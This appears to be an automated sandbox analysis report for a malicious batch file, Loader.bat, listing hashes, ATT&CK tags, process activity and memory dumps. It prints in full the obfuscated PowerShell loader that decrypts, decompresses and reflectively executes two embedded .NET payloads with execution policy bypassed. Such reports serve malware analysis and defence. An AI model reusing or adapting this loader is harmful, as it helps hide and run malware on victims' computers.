0af4119b3a1eded45cb97a0ef9b022505470d0987cedd5bf1af0ac8c8efb322e

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-11-2024 19:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.bat
Size

919KB
MD5

0563db3c877e66a892a597fdcf52ab47
SHA1

6d29695797709cf741081ec8d60e57230c0bf612
SHA256

0af4119b3a1eded45cb97a0ef9b022505470d0987cedd5bf1af0ac8c8efb322e
SHA512

a3e3227d410543602cc3245a061304257fa3be6ea256776bb934a226f4e2cf2fd148de257766e546e5b6a99b98a98526e12dc15acd963c997e37e52a7feaf96e
SSDEEP

24576:RKgJjCEe4LWZywOUpRWwjxyLscvANgDP7bB:sgle4QWsyYSl

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2524	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 2524	1548	cmd.exe	29
PID 1548 wrote to memory of 2524	1548	cmd.exe	29
PID 1548 wrote to memory of 2524	1548	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bvIV9xmfGsAMQjk2GZ+mu75BliblCnV50HBCLug3GZI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wG4bwKUNwLEOHlh+OUY6hw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CLCMN=New-Object System.IO.MemoryStream(,$param_var); $pAUnj=New-Object System.IO.MemoryStream; $eoTaK=New-Object System.IO.Compression.GZipStream($CLCMN, [IO.Compression.CompressionMode]::Decompress); $eoTaK.CopyTo($pAUnj); $eoTaK.Dispose(); $CLCMN.Dispose(); $pAUnj.Dispose(); $pAUnj.ToArray();}function execute_function($param_var,$param2_var){ $UzjPE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rcIWS=$UzjPE.EntryPoint; $rcIWS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Loader.bat';$ujaGE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Loader.bat').Split([Environment]::NewLine);foreach ($pudhF in $ujaGE) { if ($pudhF.StartsWith(':: ')) { $RMQoK=$pudhF.Substring(3); break; }}$payloads_var=[string[]]$RMQoK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2524-4-0x000007FEF646E000-0x000007FEF646F000-memory.dmp

Filesize
4KB

Download
memory/2524-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2524-6-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-8-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-9-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-7-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download
memory/2524-10-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-11-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-12-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

Filesize
9.6MB

Download